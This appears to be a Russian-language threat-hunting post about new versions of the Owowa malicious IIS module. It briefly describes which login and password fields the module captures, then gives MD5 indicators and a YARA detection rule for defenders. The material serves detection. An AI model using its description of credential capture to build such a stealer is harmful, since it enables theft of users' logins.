Помимо перехвата полей username, password в новой версии были добавлены перехваты LOGON_USER, AUTH_PASSWORD.

В последней версии злоумышленники отказались от функции RunCommand, которая выполняла команды на скомпрометированном узле через powershell.exe.

IoCs:


Name MD5
ClassLibrary2.dll af6507e03e032294822e4157134c9909
ClassLibrary3.dll 2d240b6ceeaacd2e3dd52c9e7d3fb622
ClassLibrary3.dll 5cc433a2550bb7389f6c90521e7afa25
ExtenderControlDesigner.dll 967e7b6b048d628f36bbb4ca7b0f483f
ClassLibrary3.dll e657eea3b9b7317e28ab4a89c1fa2177
ClassLibrary3.dll 6e6218aac341463496cca32f52b29013
ClassLibrary3.dll 4d66a3bbaf65a2ec36fd2d143c872ef6


YARA:


rule Owowa {
strings:
$s1 = "IHttpModule"
$s2 = "PreSend_RequestContent"
$s3 = "ExtenderControlDesigner"
$u1 = "283c00ecp774ag36boljbpp6" wide
$u2 = "dEUM3jZXaDiob8BrqSy2PQO1" wide
$u3 = "Fb8v91c6tHiKsWzrulCeqO" wide
$u4 = "jFuLIXpzRdateYHoVwMlfc" wide
$u5 = "oACgTsBMliysfk" wide
$u6 = "uW4sSY1CAkN6kI6r6ByXUWnK" wide
$u7 = "ZaDS0tojX0VDh82" wide
$u8 = "zwa879pOX1NAmTom8m3aQvoZ" wide
condition:
uint16be ( 0 ) == 0x4d5a and ( 2 of ( $s* ) ) and ( 2 of ( $u* ) ) and filesize < 20KB
}


Happy hunting!

#hunt #IOC #yara #dfir #detect #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM